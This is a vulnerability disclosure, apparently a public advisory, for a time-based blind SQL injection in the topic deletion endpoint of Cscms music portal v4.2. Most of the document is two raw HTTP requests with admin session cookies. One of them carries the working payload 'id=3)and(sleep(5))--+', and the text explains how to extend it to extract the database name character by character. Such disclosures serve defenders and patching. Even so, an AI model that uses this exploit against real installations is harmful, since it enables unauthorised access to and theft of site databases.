SQL injection vulnerability exists in Cscms music portal system v4.2

[Am1azi3ng]

SQL injection vulnerability exists in Cscms music portal system v4.2 news_Topic.php_del

Details

Add a news topic after the administrator logs in

POST /admin.php/news/admin/topic/save HTTP/1.1
Host: cscms.test
Content-Length: 150
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/topic/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=b3vaeo61gbiune90rtjsdcqg2am7gqgl
Connection: close

name=1&tid=0&yid=0&bname=1&addtime=ok&pic=&toppic=&hits=0&yhits=0&zhits=0&rhits=0&skins=topic-show.html&neir=&file=&title=&keywords=&description=&id=0

When deleting news topics, malicious statements can be constructed to realize SQL injection

POST /admin.php/news/admin/topic/del HTTP/1.1
Host: cscms.test
Content-Length: 21
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://cscms.test
Referer: http://cscms.test/admin.php/news/admin/topic?v=705
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cscms_admin_id=3HtLFUmqgin4; cscms_admin_login=6hHRwKPiGz1%2FN9C4hmVHcOkF4oyCoI8lNzjjyeMF3fURy57grmVzbA; cscms_session=b3vaeo61gbiune90rtjsdcqg2am7gqgl
Connection: close

id=3)and(sleep(5))--+

The payload executes and sleeps for 5 seconds,so construct payload to Blast database

Because the first letter of the background database name is "c", it sleeps for 5 seconds,so the Injection vulnerability exists